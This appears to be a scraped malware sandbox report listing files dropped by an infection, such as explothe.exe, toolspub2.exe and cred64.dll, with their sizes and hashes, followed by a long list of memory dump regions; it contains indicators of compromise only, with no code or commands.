ca7517384a5449145a819e45445ff9bbcb27ea1b9e2a63c13ef12e256475e0ccbf05031b5ab5cb83a24b2cdd37d425cc7b9044c660098d39f47f05e95bbb6324

Download Submit
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

Filesize
219KB

MD5
4bd59a6b3207f99fc3435baf3c22bc4e

SHA1
ae90587beed289f177f4143a8380ba27109d0a6f

SHA256
08e33db08288da47bbbe3a8d65a59e8536b05c464ba91dc66e08f9abd245e236

SHA512
ca7517384a5449145a819e45445ff9bbcb27ea1b9e2a63c13ef12e256475e0ccbf05031b5ab5cb83a24b2cdd37d425cc7b9044c660098d39f47f05e95bbb6324

Download Submit
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

Filesize
219KB

MD5
4bd59a6b3207f99fc3435baf3c22bc4e

SHA1
ae90587beed289f177f4143a8380ba27109d0a6f

SHA256
08e33db08288da47bbbe3a8d65a59e8536b05c464ba91dc66e08f9abd245e236

SHA512
ca7517384a5449145a819e45445ff9bbcb27ea1b9e2a63c13ef12e256475e0ccbf05031b5ab5cb83a24b2cdd37d425cc7b9044c660098d39f47f05e95bbb6324

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-AS2EA.tmp\is-A4DN2.tmp

Filesize
642KB

MD5
e57693101a63b1f934f462bc7a2ef093

SHA1
2748ea8c66b980f14c9ce36c1c3061e690cf3ce7

SHA256
71267ff94c9fc72cbffaeed3bc2f33cef1eeb1887c29c574d7f26595d1a6235f

SHA512
3dcda686a85b19a9c7b4c96d132e90ed43c7df13ce9456beb2b88c278d8068cc3abcbfe25b1607c7b8281d276efb24809730f352927b326254f3208cbdf54a3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-AS2EA.tmp\is-A4DN2.tmp

Filesize
642KB

MD5
e57693101a63b1f934f462bc7a2ef093

SHA1
2748ea8c66b980f14c9ce36c1c3061e690cf3ce7

SHA256
71267ff94c9fc72cbffaeed3bc2f33cef1eeb1887c29c574d7f26595d1a6235f

SHA512
3dcda686a85b19a9c7b4c96d132e90ed43c7df13ce9456beb2b88c278d8068cc3abcbfe25b1607c7b8281d276efb24809730f352927b326254f3208cbdf54a3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\kos2.exe

Filesize
1.5MB

MD5
665db9794d6e6e7052e7c469f48de771

SHA1
ed9a3f9262f675a03a9f1f70856e3532b095c89f

SHA256
c1b31186d170a2a5755f15682860b3cdc60eac7f97a2db9462dee7ca6fcbc196

SHA512
69585560e8ac4a2472621dd4da4bf0e636688fc5d710521b0177461f773fcf2a4c7ddb86bc812ecb316985729013212ccfa4992cd1c98f166a4a510e17fcae74

Download Submit
C:\Users\Admin\AppData\Local\Temp\kos2.exe

Filesize
1.5MB

MD5
665db9794d6e6e7052e7c469f48de771

SHA1
ed9a3f9262f675a03a9f1f70856e3532b095c89f

SHA256
c1b31186d170a2a5755f15682860b3cdc60eac7f97a2db9462dee7ca6fcbc196

SHA512
69585560e8ac4a2472621dd4da4bf0e636688fc5d710521b0177461f773fcf2a4c7ddb86bc812ecb316985729013212ccfa4992cd1c98f166a4a510e17fcae74

Download Submit
C:\Users\Admin\AppData\Local\Temp\latestX.exe

Filesize
5.6MB

MD5
bae29e49e8190bfbbf0d77ffab8de59d

SHA1
4a6352bb47c7e1666a60c76f9b17ca4707872bd9

SHA256
f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

SHA512
9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\set16.exe

Filesize
1.5MB

MD5
b224196c88f09b615527b2df0e860e49

SHA1
f9ae161836a34264458d8c0b2a083c98093f1dec

SHA256
2a11969fcc1df03533ad694a68d56f0e3a67ce359663c3cf228040ab5baa5ed8

SHA512
d74376c5bd3ba19b8454a17f2f38ab64ad1005b6372c7e162230c822c38f6f8c7d87aef47ef04cb6dceedc731046c30efa6720098cc39b15addd17c809b8296d

Download Submit
C:\Users\Admin\AppData\Local\Temp\set16.exe

Filesize
1.5MB

MD5
b224196c88f09b615527b2df0e860e49

SHA1
f9ae161836a34264458d8c0b2a083c98093f1dec

SHA256
2a11969fcc1df03533ad694a68d56f0e3a67ce359663c3cf228040ab5baa5ed8

SHA512
d74376c5bd3ba19b8454a17f2f38ab64ad1005b6372c7e162230c822c38f6f8c7d87aef47ef04cb6dceedc731046c30efa6720098cc39b15addd17c809b8296d

Download Submit
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

Filesize
260KB

MD5
f39a0110a564f4a1c6b96c03982906ec

SHA1
08e66c93b575c9ac0a18f06741dabcabc88a358b

SHA256
f794a557ad952ff155b4bfe5665b3f448453c3a50c766478d070368cab69f481

SHA512
c6659f926f95a8bed1ff779c8445470c3089823abe8c1199f591c313ecee0bd793478cdaab95905c0e8ae2a2b18737daabe887263b7cde1eaaa9ee6976ff7d00

Download Submit
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

Filesize
260KB

MD5
f39a0110a564f4a1c6b96c03982906ec

SHA1
08e66c93b575c9ac0a18f06741dabcabc88a358b

SHA256
f794a557ad952ff155b4bfe5665b3f448453c3a50c766478d070368cab69f481

SHA512
c6659f926f95a8bed1ff779c8445470c3089823abe8c1199f591c313ecee0bd793478cdaab95905c0e8ae2a2b18737daabe887263b7cde1eaaa9ee6976ff7d00

Download Submit
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

Filesize
260KB

MD5
f39a0110a564f4a1c6b96c03982906ec

SHA1
08e66c93b575c9ac0a18f06741dabcabc88a358b

SHA256
f794a557ad952ff155b4bfe5665b3f448453c3a50c766478d070368cab69f481

SHA512
c6659f926f95a8bed1ff779c8445470c3089823abe8c1199f591c313ecee0bd793478cdaab95905c0e8ae2a2b18737daabe887263b7cde1eaaa9ee6976ff7d00

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

Filesize
89KB

MD5
e913b0d252d36f7c9b71268df4f634fb

SHA1
5ac70d8793712bcd8ede477071146bbb42d3f018

SHA256
4cf5b584cf79ac523f645807a65bc153fbeaa564c0e1acb4dac9004fc9d038da

SHA512
3ea08f0897c1b7b5859961351eef59840bbf319a6ad7ebe1c9e1b5e2ce25588d7b1a37fd6c5417653521fc73f1f42eb043d0ee6fcd645aa92b8f305d726273b4

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

Filesize
273B

MD5
a5b509a3fb95cc3c8d89cd39fc2a30fb

SHA1
5aff4266a9c0f2af440f28aa865cebc5ddb9cd5c

SHA256
5f3c80056c7b1104c15d6fee49dac07e665c6ffd0795ad486803641ed619c529

SHA512
3cc58d989c461a04f29acbfe03ed05f970b3b3e97e6819962fc5c853f55bce7f7aba0544a712e3a45ee52ab31943c898f6b3684d755b590e3e961ae5ecd1edb9

Download Submit
C:\Users\Admin\AppData\Roaming\dfbejtg

Filesize
260KB

MD5
f39a0110a564f4a1c6b96c03982906ec

SHA1
08e66c93b575c9ac0a18f06741dabcabc88a358b

SHA256
f794a557ad952ff155b4bfe5665b3f448453c3a50c766478d070368cab69f481

SHA512
c6659f926f95a8bed1ff779c8445470c3089823abe8c1199f591c313ecee0bd793478cdaab95905c0e8ae2a2b18737daabe887263b7cde1eaaa9ee6976ff7d00

Download Submit
\Users\Admin\AppData\Local\Temp\is-O9P1S.tmp\_iscrypt.dll

Filesize
2KB

MD5
a69559718ab506675e907fe49deb71e9

SHA1
bc8f404ffdb1960b50c12ff9413c893b56f2e36f

SHA256
2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

SHA512
e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

Download Submit
\Users\Admin\AppData\Local\Temp\is-O9P1S.tmp\_isdecmp.dll

Filesize
12KB

MD5
7cee19d7e00e9a35fc5e7884fd9d1ad8

SHA1
2c5e8de13bdb6ddc290a9596113f77129ecd26bc

SHA256
58ee49d4b4f6def91c6561fc5a1b73bc86d8a01b23ce0c8ddbf0ed11f13d5ace

SHA512
a6955f5aff467f199236ed8a57f4d97af915a3ae81711ff8292e66e66c9f7ee307d7d7aafce09a1bd33c8f7983694cb207fc980d6c3323b475de6278d37bdde8

Download Submit
\Users\Admin\AppData\Local\Temp\is-O9P1S.tmp\_isdecmp.dll

Filesize
12KB

MD5
7cee19d7e00e9a35fc5e7884fd9d1ad8

SHA1
2c5e8de13bdb6ddc290a9596113f77129ecd26bc

SHA256
58ee49d4b4f6def91c6561fc5a1b73bc86d8a01b23ce0c8ddbf0ed11f13d5ace

SHA512
a6955f5aff467f199236ed8a57f4d97af915a3ae81711ff8292e66e66c9f7ee307d7d7aafce09a1bd33c8f7983694cb207fc980d6c3323b475de6278d37bdde8

Download Submit
memory/204-237-0x0000000000C90000-0x0000000000C98000-memory.dmp

Filesize
32KB

Download
memory/204-262-0x0000000002BE0000-0x0000000002BF0000-memory.dmp

Filesize
64KB

Download
memory/204-244-0x00007FF847680000-0x00007FF84806C000-memory.dmp

Filesize
9.9MB

Download
memory/608-314-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/608-315-0x0000000000680000-0x0000000000698000-memory.dmp

Filesize
96KB

Download
memory/608-327-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/928-215-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/928-313-0x00000000049D0000-0x00000000049E0000-memory.dmp

Filesize
64KB

Download
memory/928-217-0x00000000049D0000-0x00000000049E0000-memory.dmp

Filesize
64KB

Download
memory/928-193-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/928-192-0x00000000001C0000-0x00000000001DE000-memory.dmp

Filesize
120KB

Download
memory/928-311-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/928-301-0x0000000005F90000-0x00000000064BC000-memory.dmp

Filesize
5.2MB

Download
memory/928-300-0x0000000005DA0000-0x0000000005F62000-memory.dmp

Filesize
1.8MB

Download
memory/1060-296-0x0000000000400000-0x0000000000627000-memory.dmp

Filesize
2.2MB

Download
memory/1060-298-0x0000000000400000-0x0000000000627000-memory.dmp

Filesize
2.2MB

Download
memory/1060-303-0x0000000000400000-0x0000000000627000-memory.dmp

Filesize
2.2MB

Download
memory/1956-325-0x0000000009600000-0x0000000009676000-memory.dmp

Filesize
472KB

Download
memory/1956-190-0x00000000074B0000-0x00000000074C0000-memory.dmp

Filesize
64KB

Download
memory/1956-130-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-137-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/1956-168-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-194-0x0000000007FC0000-0x0000000008026000-memory.dmp

Filesize
408KB

Download
memory/1956-172-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/1956-323-0x00000000044C0000-0x0000000004510000-memory.dmp

Filesize
320KB

Download
memory/1956-131-0x0000000000520000-0x000000000057A000-memory.dmp

Filesize
360KB

Download
memory/1956-143-0x00000000074B0000-0x00000000074C0000-memory.dmp

Filesize
64KB

Download
memory/2128-146-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2128-141-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2128-136-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2128-144-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/2424-3-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2424-6-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2424-0-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2428-216-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/2428-159-0x0000000000FB0000-0x0000000001B34000-memory.dmp

Filesize
11.5MB

Download
memory/2428-158-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/2452-174-0x000000000096F000-0x0000000000982000-memory.dmp

Filesize
76KB

Download
memory/2452-175-0x0000000000910000-0x0000000000919000-memory.dmp

Filesize
36KB

Download
memory/3212-4-0x00000000012C0000-0x00000000012D6000-memory.dmp

Filesize
88KB

Download
memory/3212-267-0x0000000004C30000-0x0000000004C46000-memory.dmp

Filesize
88KB

Download
memory/3308-324-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/3308-223-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/3632-103-0x0000000007BB0000-0x0000000007CBA000-memory.dmp

Filesize
1.0MB

Download
memory/3632-153-0x0000000007820000-0x0000000007830000-memory.dmp

Filesize
64KB

Download
memory/3632-76-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/3632-75-0x0000000000B20000-0x0000000000B5E000-memory.dmp

Filesize
248KB

Download
memory/3632-81-0x0000000007CF0000-0x00000000081EE000-memory.dmp

Filesize
5.0MB

Download
memory/3632-83-0x0000000007890000-0x0000000007922000-memory.dmp

Filesize
584KB

Download
memory/3632-92-0x0000000007820000-0x0000000007830000-memory.dmp

Filesize
64KB

Download
memory/3632-94-0x0000000007A00000-0x0000000007A0A000-memory.dmp

Filesize
40KB

Download
memory/3632-100-0x0000000008800000-0x0000000008E06000-memory.dmp

Filesize
6.0MB

Download
memory/3632-105-0x0000000007AE0000-0x0000000007AF2000-memory.dmp

Filesize
72KB

Download
memory/3632-107-0x0000000007B40000-0x0000000007B7E000-memory.dmp

Filesize
248KB

Download
memory/3632-111-0x00000000081F0000-0x000000000823B000-memory.dmp

Filesize
300KB

Download
memory/3632-142-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/3776-212-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/3776-239-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/3776-208-0x0000000000C90000-0x0000000000E0E000-memory.dmp

Filesize
1.5MB

Download
memory/4168-154-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/4168-151-0x00000000009F0000-0x0000000000A2E000-memory.dmp

Filesize
248KB

Download
memory/4168-210-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/4436-274-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/4436-177-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/4436-171-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/4492-67-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/4492-140-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/4492-70-0x0000000000630000-0x000000000063A000-memory.dmp

Filesize
40KB

Download
memory/4492-152-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/4512-258-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/4584-230-0x0000000000D40000-0x0000000000D7E000-memory.dmp

Filesize
248KB

Download
memory/4584-238-0x0000000073520000-0x0000000073C0E000-memory.dmp

Filesize
6.9MB

Download
memory/4584-245-0x0000000007CB0000-0x0000000007CC0000-memory.dmp

Filesize
64KB

Download
memory/4752-312-0x0000000000400000-0x0000000000627000-memory.dmp

Filesize
2.2MB

Download
memory/4928-264-0x0000000000400000-0x0000000000D1B000-memory.dmp

Filesize
9.1MB

Download
memory/4928-263-0x0000000002F10000-0x00000000037FB000-memory.dmp

Filesize
8.9MB

Download
memory/4928-246-0x0000000002B00000-0x0000000002F02000-memory.dmp

Filesize
4.0MB

Download
memory/5112-77-0x0000022197020000-0x0000022197030000-memory.dmp

Filesize
64KB

Download
memory/5112-102-0x0000022197500000-0x0000022197510000-memory.dmp

Filesize
64KB

Download
memory/5112-129-0x0000022198410000-0x0000022198412000-memory.dmp

Filesize
8KB

Download